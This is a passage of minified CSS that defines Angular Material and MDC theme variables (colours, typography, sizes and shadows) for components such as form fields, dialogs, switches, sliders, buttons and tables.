.38);--mdc-filled-text-field-input-text-placeholder-color:rgba(0, 0, 0, .6);--mdc-filled-text-field-error-hover-label-text-color:#f44336;--mdc-filled-text-field-error-focus-label-text-color:#f44336;--mdc-filled-text-field-error-label-text-color:#f44336;--mdc-filled-text-field-error-caret-color:#f44336;--mdc-filled-text-field-active-indicator-color:rgba(0, 0, 0, .42);--mdc-filled-text-field-disabled-active-indicator-color:rgba(0, 0, 0, .06);--mdc-filled-text-field-hover-active-indicator-color:rgba(0, 0, 0, .87);--mdc-filled-text-field-error-active-indicator-color:#f44336;--mdc-filled-text-field-error-focus-active-indicator-color:#f44336;--mdc-filled-text-field-error-hover-active-indicator-color:#f44336;--mdc-outlined-text-field-caret-color:#3f51b5;--mdc-outlined-text-field-focus-outline-color:#3f51b5;--mdc-outlined-text-field-focus-label-text-color:rgba(63, 81, 181, .87);--mdc-outlined-text-field-label-text-color:rgba(0, 0, 0, .6);--mdc-outlined-text-field-hover-label-text-color:rgba(0, 0, 0, .6);--mdc-outlined-text-field-disabled-label-text-color:rgba(0, 0, 0, .38);--mdc-outlined-text-field-input-text-color:rgba(0, 0, 0, .87);--mdc-outlined-text-field-disabled-input-text-color:rgba(0, 0, 0, .38);--mdc-outlined-text-field-input-text-placeholder-color:rgba(0, 0, 0, .6);--mdc-outlined-text-field-error-caret-color:#f44336;--mdc-outlined-text-field-error-focus-label-text-color:#f44336;--mdc-outlined-text-field-error-label-text-color:#f44336;--mdc-outlined-text-field-error-hover-label-text-color:#f44336;--mdc-outlined-text-field-outline-color:rgba(0, 0, 0, .38);--mdc-outlined-text-field-disabled-outline-color:rgba(0, 0, 0, .06);--mdc-outlined-text-field-hover-outline-color:rgba(0, 0, 0, .87);--mdc-outlined-text-field-error-focus-outline-color:#f44336;--mdc-outlined-text-field-error-hover-outline-color:#f44336;--mdc-outlined-text-field-error-outline-color:#f44336;--mat-form-field-focus-select-arrow-color:rgba(63, 81, 181, .87);--mat-form-field-disabled-input-text-placeholder-color:rgba(0, 0, 0, .38);--mat-form-field-state-layer-color:rgba(0, 0, 0, .87);--mat-form-field-error-text-color:#f44336;--mat-form-field-select-option-text-color:inherit;--mat-form-field-select-disabled-option-text-color:GrayText;--mat-form-field-leading-icon-color:unset;--mat-form-field-disabled-leading-icon-color:unset;--mat-form-field-trailing-icon-color:unset;--mat-form-field-disabled-trailing-icon-color:unset;--mat-form-field-error-focus-trailing-icon-color:unset;--mat-form-field-error-hover-trailing-icon-color:unset;--mat-form-field-error-trailing-icon-color:unset;--mat-form-field-enabled-select-arrow-color:rgba(0, 0, 0, .54);--mat-form-field-disabled-select-arrow-color:rgba(0, 0, 0, .38);--mat-form-field-hover-state-layer-opacity:.04;--mat-form-field-focus-state-layer-opacity:.08}html{--mat-form-field-container-height:56px;--mat-form-field-filled-label-display:block;--mat-form-field-container-vertical-padding:16px;--mat-form-field-filled-with-label-container-padding-top:24px;--mat-form-field-filled-with-label-container-padding-bottom:8px}html{--mdc-filled-text-field-label-text-font:Roboto, sans-serif;--mdc-filled-text-field-label-text-size:16px;--mdc-filled-text-field-label-text-tracking:.03125em;--mdc-filled-text-field-label-text-weight:400;--mdc-outlined-text-field-label-text-font:Roboto, sans-serif;--mdc-outlined-text-field-label-text-size:16px;--mdc-outlined-text-field-label-text-tracking:.03125em;--mdc-outlined-text-field-label-text-weight:400;--mat-form-field-container-text-font:Roboto, sans-serif;--mat-form-field-container-text-line-height:24px;--mat-form-field-container-text-size:16px;--mat-form-field-container-text-tracking:.03125em;--mat-form-field-container-text-weight:400;--mat-form-field-outlined-label-text-populated-size:16px;--mat-form-field-subscript-text-font:Roboto, sans-serif;--mat-form-field-subscript-text-line-height:20px;--mat-form-field-subscript-text-size:12px;--mat-form-field-subscript-text-tracking:.0333333333em;--mat-form-field-subscript-text-weight:400}html{--mat-select-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12)}html{--mat-select-panel-background-color:white;--mat-select-enabled-trigger-text-color:rgba(0, 0, 0, .87);--mat-select-disabled-trigger-text-color:rgba(0, 0, 0, .38);--mat-select-placeholder-text-color:rgba(0, 0, 0, .6);--mat-select-enabled-arrow-color:rgba(0, 0, 0, .54);--mat-select-disabled-arrow-color:rgba(0, 0, 0, .38);--mat-select-focused-arrow-color:rgba(63, 81, 181, .87);--mat-select-invalid-arrow-color:rgba(244, 67, 54, .87)}html{--mat-select-arrow-transform:translateY(-8px)}html{--mat-select-trigger-text-font:Roboto, sans-serif;--mat-select-trigger-text-line-height:24px;--mat-select-trigger-text-size:16px;--mat-select-trigger-text-tracking:.03125em;--mat-select-trigger-text-weight:400}html{--mat-autocomplete-container-shape:4px;--mat-autocomplete-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12)}html{--mat-autocomplete-background-color:white}html{--mdc-dialog-container-shape:4px;--mat-dialog-container-elevation-shadow:0px 11px 15px -7px rgba(0, 0, 0, .2), 0px 24px 38px 3px rgba(0, 0, 0, .14), 0px 9px 46px 8px rgba(0, 0, 0, .12);--mat-dialog-container-max-width:80vw;--mat-dialog-container-small-max-width:80vw;--mat-dialog-container-min-width:0;--mat-dialog-actions-alignment:start;--mat-dialog-actions-padding:8px;--mat-dialog-content-padding:20px 24px;--mat-dialog-with-actions-content-padding:20px 24px;--mat-dialog-headline-padding:0 24px 9px}html{--mdc-dialog-container-color:white;--mdc-dialog-subhead-color:rgba(0, 0, 0, .87);--mdc-dialog-supporting-text-color:rgba(0, 0, 0, .6)}html{--mdc-dialog-subhead-font:Roboto, sans-serif;--mdc-dialog-subhead-line-height:32px;--mdc-dialog-subhead-size:20px;--mdc-dialog-subhead-weight:500;--mdc-dialog-subhead-tracking:.0125em;--mdc-dialog-supporting-text-font:Roboto, sans-serif;--mdc-dialog-supporting-text-line-height:24px;--mdc-dialog-supporting-text-size:16px;--mdc-dialog-supporting-text-weight:400;--mdc-dialog-supporting-text-tracking:.03125em}html{--mdc-switch-disabled-selected-icon-opacity:.38;--mdc-switch-disabled-track-opacity:.12;--mdc-switch-disabled-unselected-icon-opacity:.38;--mdc-switch-handle-height:20px;--mdc-switch-handle-shape:10px;--mdc-switch-handle-width:20px;--mdc-switch-selected-icon-size:18px;--mdc-switch-track-height:14px;--mdc-switch-track-shape:7px;--mdc-switch-track-width:36px;--mdc-switch-unselected-icon-size:18px;--mdc-switch-selected-focus-state-layer-opacity:.12;--mdc-switch-selected-hover-state-layer-opacity:.04;--mdc-switch-selected-pressed-state-layer-opacity:.1;--mdc-switch-unselected-focus-state-layer-opacity:.12;--mdc-switch-unselected-hover-state-layer-opacity:.04;--mdc-switch-unselected-pressed-state-layer-opacity:.1}html{--mdc-switch-selected-focus-state-layer-color:#3949ab;--mdc-switch-selected-handle-color:#3949ab;--mdc-switch-selected-hover-state-layer-color:#3949ab;--mdc-switch-selected-pressed-state-layer-color:#3949ab;--mdc-switch-selected-focus-handle-color:#1a237e;--mdc-switch-selected-hover-handle-color:#1a237e;--mdc-switch-selected-pressed-handle-color:#1a237e;--mdc-switch-selected-focus-track-color:#7986cb;--mdc-switch-selected-hover-track-color:#7986cb;--mdc-switch-selected-pressed-track-color:#7986cb;--mdc-switch-selected-track-color:#7986cb;--mdc-switch-disabled-selected-handle-color:#424242;--mdc-switch-disabled-selected-icon-color:#fff;--mdc-switch-disabled-selected-track-color:#424242;--mdc-switch-disabled-unselected-handle-color:#424242;--mdc-switch-disabled-unselected-icon-color:#fff;--mdc-switch-disabled-unselected-track-color:#424242;--mdc-switch-handle-surface-color:#fff;--mdc-switch-selected-icon-color:#fff;--mdc-switch-unselected-focus-handle-color:#212121;--mdc-switch-unselected-focus-state-layer-color:#424242;--mdc-switch-unselected-focus-track-color:#e0e0e0;--mdc-switch-unselected-handle-color:#616161;--mdc-switch-unselected-hover-handle-color:#212121;--mdc-switch-unselected-hover-state-layer-color:#424242;--mdc-switch-unselected-hover-track-color:#e0e0e0;--mdc-switch-unselected-icon-color:#fff;--mdc-switch-unselected-pressed-handle-color:#212121;--mdc-switch-unselected-pressed-state-layer-color:#424242;--mdc-switch-unselected-pressed-track-color:#e0e0e0;--mdc-switch-unselected-track-color:#e0e0e0;--mdc-switch-handle-elevation-shadow:0px 2px 1px -1px rgba(0, 0, 0, .2), 0px 1px 1px 0px rgba(0, 0, 0, .14), 0px 1px 3px 0px rgba(0, 0, 0, .12);--mdc-switch-disabled-handle-elevation-shadow:0px 0px 0px 0px rgba(0, 0, 0, .2), 0px 0px 0px 0px rgba(0, 0, 0, .14), 0px 0px 0px 0px rgba(0, 0, 0, .12);--mdc-switch-disabled-label-text-color: rgba(0, 0, 0, .38)}html{--mdc-switch-state-layer-size:40px}html{--mdc-radio-disabled-selected-icon-opacity:.38;--mdc-radio-disabled-unselected-icon-opacity:.38;--mdc-radio-state-layer-size:40px}html{--mdc-radio-state-layer-size:40px;--mat-radio-touch-target-display:block}html{--mat-radio-label-text-font:Roboto, sans-serif;--mat-radio-label-text-line-height:20px;--mat-radio-label-text-size:14px;--mat-radio-label-text-tracking:.0178571429em;--mat-radio-label-text-weight:400}html{--mdc-slider-active-track-height:6px;--mdc-slider-active-track-shape:9999px;--mdc-slider-handle-height:20px;--mdc-slider-handle-shape:50%;--mdc-slider-handle-width:20px;--mdc-slider-inactive-track-height:4px;--mdc-slider-inactive-track-shape:9999px;--mdc-slider-with-overlap-handle-outline-width:1px;--mdc-slider-with-tick-marks-active-container-opacity:.6;--mdc-slider-with-tick-marks-container-shape:50%;--mdc-slider-with-tick-marks-container-size:2px;--mdc-slider-with-tick-marks-inactive-container-opacity:.6;--mdc-slider-handle-elevation:0px 2px 1px -1px rgba(0, 0, 0, .2), 0px 1px 1px 0px rgba(0, 0, 0, .14), 0px 1px 3px 0px rgba(0, 0, 0, .12);--mat-slider-value-indicator-width:auto;--mat-slider-value-indicator-height:32px;--mat-slider-value-indicator-caret-display:block;--mat-slider-value-indicator-border-radius:4px;--mat-slider-value-indicator-padding:0 12px;--mat-slider-value-indicator-text-transform:none;--mat-slider-value-indicator-container-transform:translateX(-50%)}html{--mdc-slider-handle-color:#3f51b5;--mdc-slider-focus-handle-color:#3f51b5;--mdc-slider-hover-handle-color:#3f51b5;--mdc-slider-active-track-color:#3f51b5;--mdc-slider-inactive-track-color:#3f51b5;--mdc-slider-with-tick-marks-inactive-container-color:#3f51b5;--mdc-slider-with-tick-marks-active-container-color:white;--mdc-slider-disabled-active-track-color:#000;--mdc-slider-disabled-handle-color:#000;--mdc-slider-disabled-inactive-track-color:#000;--mdc-slider-label-container-color:#000;--mdc-slider-label-label-text-color:#fff;--mdc-slider-with-overlap-handle-outline-color:#fff;--mdc-slider-with-tick-marks-disabled-container-color:#000;--mat-slider-ripple-color:#3f51b5;--mat-slider-hover-state-layer-color:rgba(63, 81, 181, .05);--mat-slider-focus-state-layer-color:rgba(63, 81, 181, .2);--mat-slider-value-indicator-opacity:.6}html{--mdc-slider-label-label-text-font:Roboto, sans-serif;--mdc-slider-label-label-text-size:14px;--mdc-slider-label-label-text-line-height:22px;--mdc-slider-label-label-text-tracking:.0071428571em;--mdc-slider-label-label-text-weight:500}html{--mat-menu-container-shape:4px;--mat-menu-divider-bottom-spacing:0;--mat-menu-divider-top-spacing:0;--mat-menu-item-spacing:16px;--mat-menu-item-icon-size:24px;--mat-menu-item-leading-spacing:16px;--mat-menu-item-trailing-spacing:16px;--mat-menu-item-with-icon-leading-spacing:16px;--mat-menu-item-with-icon-trailing-spacing:16px;--mat-menu-base-elevation-level:8}html{--mat-menu-item-label-text-color:rgba(0, 0, 0, .87);--mat-menu-item-icon-color:rgba(0, 0, 0, .87);--mat-menu-item-hover-state-layer-color:rgba(0, 0, 0, .04);--mat-menu-item-focus-state-layer-color:rgba(0, 0, 0, .04);--mat-menu-container-color:white;--mat-menu-divider-color:rgba(0, 0, 0, .12)}html{--mat-menu-item-label-text-font:Roboto, sans-serif;--mat-menu-item-label-text-size:16px;--mat-menu-item-label-text-tracking:.03125em;--mat-menu-item-label-text-line-height:24px;--mat-menu-item-label-text-weight:400}html{--mdc-list-list-item-container-shape:0;--mdc-list-list-item-leading-avatar-shape:50%;--mdc-list-list-item-container-color:transparent;--mdc-list-list-item-selected-container-color:transparent;--mdc-list-list-item-leading-avatar-color:transparent;--mdc-list-list-item-leading-icon-size:24px;--mdc-list-list-item-leading-avatar-size:40px;--mdc-list-list-item-trailing-icon-size:24px;--mdc-list-list-item-disabled-state-layer-color:transparent;--mdc-list-list-item-disabled-state-layer-opacity:0;--mdc-list-list-item-disabled-label-text-opacity:.38;--mdc-list-list-item-disabled-leading-icon-opacity:.38;--mdc-list-list-item-disabled-trailing-icon-opacity:.38;--mat-list-active-indicator-color:transparent;--mat-list-active-indicator-shape:4px}html{--mdc-list-list-item-label-text-color:rgba(0, 0, 0, .87);--mdc-list-list-item-supporting-text-color:rgba(0, 0, 0, .54);--mdc-list-list-item-leading-icon-color:rgba(0, 0, 0, .38);--mdc-list-list-item-trailing-supporting-text-color:rgba(0, 0, 0, .38);--mdc-list-list-item-trailing-icon-color:rgba(0, 0, 0, .38);--mdc-list-list-item-selected-trailing-icon-color:rgba(0, 0, 0, .38);--mdc-list-list-item-disabled-label-text-color:black;--mdc-list-list-item-disabled-leading-icon-color:black;--mdc-list-list-item-disabled-trailing-icon-color:black;--mdc-list-list-item-hover-label-text-color:rgba(0, 0, 0, .87);--mdc-list-list-item-hover-leading-icon-color:rgba(0, 0, 0, .38);--mdc-list-list-item-hover-trailing-icon-color:rgba(0, 0, 0, .38);--mdc-list-list-item-focus-label-text-color:rgba(0, 0, 0, .87);--mdc-list-list-item-hover-state-layer-color:black;--mdc-list-list-item-hover-state-layer-opacity:.04;--mdc-list-list-item-focus-state-layer-color:black;--mdc-list-list-item-focus-state-layer-opacity:.12}html{--mdc-list-list-item-one-line-container-height:48px;--mdc-list-list-item-two-line-container-height:64px;--mdc-list-list-item-three-line-container-height:88px;--mat-list-list-item-leading-icon-start-space:16px;--mat-list-list-item-leading-icon-end-space:32px}html{--mdc-list-list-item-label-text-font:Roboto, sans-serif;--mdc-list-list-item-label-text-line-height:24px;--mdc-list-list-item-label-text-size:16px;--mdc-list-list-item-label-text-tracking:.03125em;--mdc-list-list-item-label-text-weight:400;--mdc-list-list-item-supporting-text-font:Roboto, sans-serif;--mdc-list-list-item-supporting-text-line-height:20px;--mdc-list-list-item-supporting-text-size:14px;--mdc-list-list-item-supporting-text-tracking:.0178571429em;--mdc-list-list-item-supporting-text-weight:400;--mdc-list-list-item-trailing-supporting-text-font:Roboto, sans-serif;--mdc-list-list-item-trailing-supporting-text-line-height:20px;--mdc-list-list-item-trailing-supporting-text-size:12px;--mdc-list-list-item-trailing-supporting-text-tracking:.0333333333em;--mdc-list-list-item-trailing-supporting-text-weight:400}html{--mat-paginator-container-text-color:rgba(0, 0, 0, .87);--mat-paginator-container-background-color:white;--mat-paginator-enabled-icon-color:rgba(0, 0, 0, .54);--mat-paginator-disabled-icon-color:rgba(0, 0, 0, .12)}html{--mat-paginator-container-size:56px;--mat-paginator-form-field-container-height:40px;--mat-paginator-form-field-container-vertical-padding:8px;--mat-paginator-touch-target-display:block}html{--mat-paginator-container-text-font:Roboto, sans-serif;--mat-paginator-container-text-line-height:20px;--mat-paginator-container-text-size:12px;--mat-paginator-container-text-tracking:.0333333333em;--mat-paginator-container-text-weight:400;--mat-paginator-select-trigger-text-size:12px}html{--mdc-secondary-navigation-tab-container-height:48px;--mdc-tab-indicator-active-indicator-height:2px;--mdc-tab-indicator-active-indicator-shape:0;--mat-tab-header-divider-color:transparent;--mat-tab-header-divider-height:0}html{--mdc-checkbox-disabled-selected-checkmark-color:#fff;--mdc-checkbox-selected-focus-state-layer-opacity:.16;--mdc-checkbox-selected-hover-state-layer-opacity:.04;--mdc-checkbox-selected-pressed-state-layer-opacity:.16;--mdc-checkbox-unselected-focus-state-layer-opacity:.16;--mdc-checkbox-unselected-hover-state-layer-opacity:.04;--mdc-checkbox-unselected-pressed-state-layer-opacity:.16}html{--mdc-checkbox-disabled-selected-icon-color:rgba(0, 0, 0, .38);--mdc-checkbox-disabled-unselected-icon-color:rgba(0, 0, 0, .38);--mdc-checkbox-selected-checkmark-color:white;--mdc-checkbox-selected-focus-icon-color:#ff4081;--mdc-checkbox-selected-hover-icon-color:#ff4081;--mdc-checkbox-selected-icon-color:#ff4081;--mdc-checkbox-selected-pressed-icon-color:#ff4081;--mdc-checkbox-unselected-focus-icon-color:#212121;--mdc-checkbox-unselected-hover-icon-color:#212121;--mdc-checkbox-unselected-icon-color:rgba(0, 0, 0, .54);--mdc-checkbox-selected-focus-state-layer-color:#ff4081;--mdc-checkbox-selected-hover-state-layer-color:#ff4081;--mdc-checkbox-selected-pressed-state-layer-color:#ff4081;--mdc-checkbox-unselected-focus-state-layer-color:black;--mdc-checkbox-unselected-hover-state-layer-color:black;--mdc-checkbox-unselected-pressed-state-layer-color:black;--mat-checkbox-disabled-label-color:rgba(0, 0, 0, .38);--mat-checkbox-label-text-color:rgba(0, 0, 0, .87)}html{--mdc-checkbox-state-layer-size:40px;--mat-checkbox-touch-target-display:block}html{--mat-checkbox-label-text-font:Roboto, sans-serif;--mat-checkbox-label-text-line-height:20px;--mat-checkbox-label-text-size:14px;--mat-checkbox-label-text-tracking:.0178571429em;--mat-checkbox-label-text-weight:400}html{--mdc-text-button-container-shape:4px;--mdc-text-button-keep-touch-target:false;--mdc-filled-button-container-shape:4px;--mdc-filled-button-keep-touch-target:false;--mdc-protected-button-container-shape:4px;--mdc-protected-button-container-elevation-shadow:0px 3px 1px -2px rgba(0, 0, 0, .2), 0px 2px 2px 0px rgba(0, 0, 0, .14), 0px 1px 5px 0px rgba(0, 0, 0, .12);--mdc-protected-button-disabled-container-elevation-shadow:0px 0px 0px 0px rgba(0, 0, 0, .2), 0px 0px 0px 0px rgba(0, 0, 0, .14), 0px 0px 0px 0px rgba(0, 0, 0, .12);--mdc-protected-button-focus-container-elevation-shadow:0px 2px 4px -1px rgba(0, 0, 0, .2), 0px 4px 5px 0px rgba(0, 0, 0, .14), 0px 1px 10px 0px rgba(0, 0, 0, .12);--mdc-protected-button-hover-container-elevation-shadow:0px 2px 4px -1px rgba(0, 0, 0, .2), 0px 4px 5px 0px rgba(0, 0, 0, .14), 0px 1px 10px 0px rgba(0, 0, 0, .12);--mdc-protected-button-pressed-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12);--mdc-outlined-button-keep-touch-target:false;--mdc-outlined-button-outline-width:1px;--mdc-outlined-button-container-shape:4px;--mat-text-button-horizontal-padding:8px;--mat-text-button-with-icon-horizontal-padding:8px;--mat-text-button-icon-spacing:8px;--mat-text-button-icon-offset:0;--mat-filled-button-horizontal-padding:16px;--mat-filled-button-icon-spacing:8px;--mat-filled-button-icon-offset:-4px;--mat-protected-button-horizontal-padding:16px;--mat-protected-button-icon-spacing:8px;--mat-protected-button-icon-offset:-4px;--mat-outlined-button-horizontal-padding:15px;--mat-outlined-button-icon-spacing:8px;--mat-outlined-button-icon-offset:-4px}html{--mdc-text-button-label-text-color:black;--mdc-text-button-disabled-label-text-color:rgba(0, 0, 0, .38);--mat-text-button-state-layer-color:black;--mat-text-button-disabled-state-layer-color:black;--mat-text-button-ripple-color:rgba(0, 0, 0, .1);--mat-text-button-hover-state-layer-opacity:.04;--mat-text-button-focus-state-layer-opacity:.12;--mat-text-button-pressed-state-layer-opacity:.12;--mdc-filled-button-container-color:white;--mdc-filled-button-label-text-color:black;--mdc-filled-button-disabled-container-color:rgba(0, 0, 0, .12);--mdc-filled-button-disabled-label-text-color:rgba(0, 0, 0, .38);--mat-filled-button-state-layer-color:black;--mat-filled-button-disabled-state-layer-color:black;--mat-filled-button-ripple-color:rgba(0, 0, 0, .1);--mat-filled-button-hover-state-layer-opacity:.04;--mat-filled-button-focus-state-layer-opacity:.12;--mat-filled-button-pressed-state-layer-opacity:.12;--mdc-protected-button-container-color:white;--mdc-protected-button-label-text-color:black;--mdc-protected-button-disabled-container-color:rgba(0, 0, 0, .12);--mdc-protected-button-disabled-label-text-color:rgba(0, 0, 0, .38);--mat-protected-button-state-layer-color:black;--mat-protected-button-disabled-state-layer-color:black;--mat-protected-button-ripple-color:rgba(0, 0, 0, .1);--mat-protected-button-hover-state-layer-opacity:.04;--mat-protected-button-focus-state-layer-opacity:.12;--mat-protected-button-pressed-state-layer-opacity:.12;--mdc-outlined-button-disabled-outline-color:rgba(0, 0, 0, .12);--mdc-outlined-button-disabled-label-text-color:rgba(0, 0, 0, .38);--mdc-outlined-button-label-text-color:black;--mdc-outlined-button-outline-color:rgba(0, 0, 0, .12);--mat-outlined-button-state-layer-color:black;--mat-outlined-button-disabled-state-layer-color:black;--mat-outlined-button-ripple-color:rgba(0, 0, 0, .1);--mat-outlined-button-hover-state-layer-opacity:.04;--mat-outlined-button-focus-state-layer-opacity:.12;--mat-outlined-button-pressed-state-layer-opacity:.12}html{--mdc-text-button-container-height:36px;--mdc-filled-button-container-height:36px;--mdc-protected-button-container-height:36px;--mdc-outlined-button-container-height:36px;--mat-text-button-touch-target-display:block;--mat-filled-button-touch-target-display:block;--mat-protected-button-touch-target-display:block;--mat-outlined-button-touch-target-display:block}html{--mdc-text-button-label-text-font:Roboto, sans-serif;--mdc-text-button-label-text-size:14px;--mdc-text-button-label-text-tracking:.0892857143em;--mdc-text-button-label-text-weight:500;--mdc-text-button-label-text-transform:none;--mdc-filled-button-label-text-font:Roboto, sans-serif;--mdc-filled-button-label-text-size:14px;--mdc-filled-button-label-text-tracking:.0892857143em;--mdc-filled-button-label-text-weight:500;--mdc-filled-button-label-text-transform:none;--mdc-protected-button-label-text-font:Roboto, sans-serif;--mdc-protected-button-label-text-size:14px;--mdc-protected-button-label-text-tracking:.0892857143em;--mdc-protected-button-label-text-weight:500;--mdc-protected-button-label-text-transform:none;--mdc-outlined-button-label-text-font:Roboto, sans-serif;--mdc-outlined-button-label-text-size:14px;--mdc-outlined-button-label-text-tracking:.0892857143em;--mdc-outlined-button-label-text-weight:500;--mdc-outlined-button-label-text-transform:none}html{--mdc-icon-button-icon-size:24px}html{--mdc-icon-button-icon-color:inherit;--mdc-icon-button-disabled-icon-color:rgba(0, 0, 0, .38);--mat-icon-button-state-layer-color:black;--mat-icon-button-disabled-state-layer-color:black;--mat-icon-button-ripple-color:rgba(0, 0, 0, .1);--mat-icon-button-hover-state-layer-opacity:.04;--mat-icon-button-focus-state-layer-opacity:.12;--mat-icon-button-pressed-state-layer-opacity:.12}html{--mat-icon-button-touch-target-display:block}html{--mdc-fab-container-shape:50%;--mdc-fab-container-elevation-shadow:0px 3px 5px -1px rgba(0, 0, 0, .2), 0px 6px 10px 0px rgba(0, 0, 0, .14), 0px 1px 18px 0px rgba(0, 0, 0, .12);--mdc-fab-focus-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12);--mdc-fab-hover-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12);--mdc-fab-pressed-container-elevation-shadow:0px 7px 8px -4px rgba(0, 0, 0, .2), 0px 12px 17px 2px rgba(0, 0, 0, .14), 0px 5px 22px 4px rgba(0, 0, 0, .12);--mdc-fab-small-container-shape:50%;--mdc-fab-small-container-elevation-shadow:0px 3px 5px -1px rgba(0, 0, 0, .2), 0px 6px 10px 0px rgba(0, 0, 0, .14), 0px 1px 18px 0px rgba(0, 0, 0, .12);--mdc-fab-small-focus-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12);--mdc-fab-small-hover-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12);--mdc-fab-small-pressed-container-elevation-shadow:0px 7px 8px -4px rgba(0, 0, 0, .2), 0px 12px 17px 2px rgba(0, 0, 0, .14), 0px 5px 22px 4px rgba(0, 0, 0, .12);--mdc-extended-fab-container-height:48px;--mdc-extended-fab-container-shape:24px;--mdc-extended-fab-container-elevation-shadow:0px 3px 5px -1px rgba(0, 0, 0, .2), 0px 6px 10px 0px rgba(0, 0, 0, .14), 0px 1px 18px 0px rgba(0, 0, 0, .12);--mdc-extended-fab-focus-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12);--mdc-extended-fab-hover-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12);--mdc-extended-fab-pressed-container-elevation-shadow:0px 7px 8px -4px rgba(0, 0, 0, .2), 0px 12px 17px 2px rgba(0, 0, 0, .14), 0px 5px 22px 4px rgba(0, 0, 0, .12)}html{--mdc-fab-container-color:white;--mat-fab-foreground-color:black;--mat-fab-state-layer-color:black;--mat-fab-disabled-state-layer-color:black;--mat-fab-ripple-color:rgba(0, 0, 0, .1);--mat-fab-hover-state-layer-opacity:.04;--mat-fab-focus-state-layer-opacity:.12;--mat-fab-pressed-state-layer-opacity:.12;--mat-fab-disabled-state-container-color:rgba(0, 0, 0, .12);--mat-fab-disabled-state-foreground-color:rgba(0, 0, 0, .38);--mdc-fab-small-container-color:white;--mat-fab-small-foreground-color:black;--mat-fab-small-state-layer-color:black;--mat-fab-small-disabled-state-layer-color:black;--mat-fab-small-ripple-color:rgba(0, 0, 0, .1);--mat-fab-small-hover-state-layer-opacity:.04;--mat-fab-small-focus-state-layer-opacity:.12;--mat-fab-small-pressed-state-layer-opacity:.12;--mat-fab-small-disabled-state-container-color:rgba(0, 0, 0, .12);--mat-fab-small-disabled-state-foreground-color:rgba(0, 0, 0, .38)}html{--mat-fab-touch-target-display:block;--mat-fab-small-touch-target-display:block}html{--mdc-extended-fab-label-text-font:Roboto, sans-serif;--mdc-extended-fab-label-text-size:14px;--mdc-extended-fab-label-text-tracking:.0892857143em;--mdc-extended-fab-label-text-weight:500}html{--mdc-snackbar-container-shape:4px}html{--mdc-snackbar-container-color:#333333;--mdc-snackbar-supporting-text-color:rgba(255, 255, 255, .87);--mat-snack-bar-button-color:#ff4081}html{--mdc-snackbar-supporting-text-font:Roboto, sans-serif;--mdc-snackbar-supporting-text-line-height:20px;--mdc-snackbar-supporting-text-size:14px;--mdc-snackbar-supporting-text-weight:400}html{--mat-table-row-item-outline-width:1px}html{--mat-table-background-color:white;--mat-table-header-headline-color:rgba(0, 0, 0, .87);--mat-table-row-item-label-text-color:rgba(0, 0, 0, .87);--mat-table-row-item-outline-color:rgba(0, 0, 0, .12)}html{--mat-table-header-container-height:56px;--mat-table-footer-container-height:52px;--mat-table-row-item-container-height:52px}html{--mat-table-header-headline-font:Roboto, sans-serif;--mat-table-header-headline-line-height:22px;--mat-table-header-headline-size:14px;--mat-table-header-headline-weight:500;--mat-table-header-headline-tracking:.0071428571em;--mat-table-row-item-label-text-font:Roboto, sans-serif;--mat-table-row-item-label-text-line-height:20px;--mat-table-row-item-label-text-size:14px;--mat-table-row-item-label-text-weight:400;--mat-table-row-item-label-text-tracking:.0178571429em;--mat-table-footer-supporting-text-font:Roboto, sans-serif;--mat-table-footer-supporting-text-line-height:20px;--mat-table-footer-supporting-text-size:14px;--mat-table-footer-supporting-text-weight:400;--mat-table-footer-supporting-text-tracking:.0178571429em}html{--mdc-circular-progress-active-indicator-width:4px;--mdc-circular-progress-size:48px}html{--mdc-circular-progress-active-indicator-color:#3f51b5}html{--mat-badge-container-shape:50%;--mat-badge-container-size:unset;--mat-badge-small-size-container-size:unset;--mat-badge-large-size-container-size:unset;--mat-badge-legacy-container-size:22px;--mat-badge-legacy-small-size-container-size:16px;--mat-badge-legacy-large-size-container-size:28px;--mat-badge-container-offset:-11px 0;--mat-badge-small-size-container-offset:-8px 0;--mat-badge-large-size-container-offset:-14px 0;--mat-badge-container-overlap-offset:-11px;--mat-badge-small-size-container-overlap-offset:-8px;--mat-badge-large-size-container-overlap-offset:-14px;--mat-badge-container-padding:0;--mat-badge-small-size-container-padding:0;--mat-badge-large-size-container-padding:0}html{--mat-badge-background-color:#3f51b5;--mat-badge-text-color:white;--mat-badge-disabled-state-background-color:#b9b9b9;--mat-badge-disabled-state-text-color:rgba(0, 0, 0, .38)}html{--mat-badge-text-font:Roboto, sans-serif;--mat-badge-line-height:22px;--mat-badge-text-size:12px;--mat-badge-text-weight:600;--mat-badge-small-size-text-size:9px;--mat-badge-small-size-line-height:16px;--mat-badge-large-size-text-size:24px;--mat-badge-large-size-line-height:28px}html{--mat-bottom-sheet-container-shape:4px}html{--mat-bottom-sheet-container-text-color:rgba(0, 0, 0, .87);--mat-bottom-sheet-container-background-color:white}html{--mat-bottom-sheet-container-text-font:Roboto, 